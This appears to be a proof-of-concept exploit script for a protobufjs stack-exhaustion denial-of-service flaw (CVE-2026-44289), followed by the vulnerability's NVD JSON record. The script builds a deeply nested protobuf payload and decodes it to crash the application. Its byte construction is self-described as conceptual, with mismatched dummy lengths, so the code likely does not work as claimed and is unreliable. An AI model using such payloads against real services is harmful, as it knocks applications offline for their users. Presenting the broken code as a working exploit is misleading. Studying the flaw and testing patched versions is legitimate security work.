CVE-2026-44289

// PoC for CVE-2026-44289: Protobufjs Stack Exhaustion (DoS) // This script demonstrates the vulnerability by attempting to decode a // deeply nested protobuf payload which causes stack overflow. const protobuf = require("protobufjs"); // 1. Define a recursive message structure const schema = ` syntax = "proto3"; package poc; message Level { Level next = 1; } `; async function runPoC() { const root = protobuf.parse(schema).root; const Level = root.lookupType("poc.Level"); // 2. Create a malicious payload with deep nesting // Manually constructing a protobuf binary with deeply nested fields. // Each nested group adds a frame to the call stack. const depth = 20000; // Sufficient depth to exhaust stack let bufferParts = []; // Protobuf wire format for nested message (Type 2, Field 1) // This is a simplified representation of a crafted binary payload for (let i = 0; i < depth; i++) { // Start_nested_message (Field 1, Wire Type 2): Tag 0x0A (00001 010) bufferParts.push(Buffer.from([0x0A])); // Length of the inner message (dummy length for demonstration) // In a real exploit, lengths must match the inner content size bufferParts.push(Buffer.from([0x02])); } // Fill end bytes to balance length roughly (Conceptual PoC) for (let i = 0; i < depth; i++) { bufferParts.push(Buffer.from([0x00, 0x00])); // Dummy data } const maliciousPayload = Buffer.concat(bufferParts); console.log(`Sending payload with estimated depth: ${depth}...`); try { // 3. Trigger the vulnerability // The decode function will recurse infinitely until stack crash Level.decode(maliciousPayload); console.log("Exploit failed (Version might be patched)"); } catch (e) { console.log(`[+] Crashed application: ${e.message}`); } } runPoC();

{"cve": {"id": "CVE-2026-44289", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:55.713", "lastModified": "2026-05-13T20:50:50.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields. A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding. This vulnerability is fixed in 7.5.6 and 8.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.6", "matchCriteriaId": "BC190A12-59A1-4DEF-A65D-E4216ED5B807"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "734292AA-F3B2-4E3E-9FA2-0EBA7AB0BB45"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-685m-2w69-288q", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}